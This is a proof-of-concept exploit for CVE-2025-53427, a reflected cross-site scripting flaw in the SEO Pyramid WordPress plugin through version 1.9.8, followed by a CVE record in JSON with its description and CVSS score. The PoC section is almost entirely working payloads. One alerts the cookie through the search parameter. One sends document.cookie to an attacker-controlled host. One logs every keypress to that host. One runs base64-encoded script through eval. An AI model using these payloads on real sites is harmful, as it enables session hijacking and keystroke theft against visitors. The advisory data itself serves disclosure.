CVE-2025-53427

<!-- CVE-2025-53427 SEO Pyramid Reflected XSS PoC --> <!-- Target: WordPress site with SEO Pyramid plugin <= 1.9.8 --> <!-- PoC URL (modify target domain) --> <!-- https://target-site.com/?s=<script>alert(document.cookie)</script> --> <!-- More advanced PoC with cookie stealing --> <script> fetch('https://attacker-controlled-site.com/steal?cookie=' + encodeURIComponent(document.cookie)); </script> <!-- XSS payload with keylogger functionality --> <script> document.addEventListener('keypress', function(e) { fetch('https://attacker-controlled-site.com/log?key=' + e.key); }); </script> <!-- Base64 encoded payload example --> <script> eval(atob('YWxlcnQoJ1hTUyBFeHBsb2l0ZWQnKQ==')); </script>

{"cve": {"id": "CVE-2025-53427", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:51.143", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Chibueze Okechukwu SEO Pyramid seo-pyramid allows Reflected XSS.This issue affects SEO Pyramid: from n/a through <= 1.9.8."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/seo-pyramid/vulnerability/wordpress-seo-pyramid-plugin-1-9-8-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}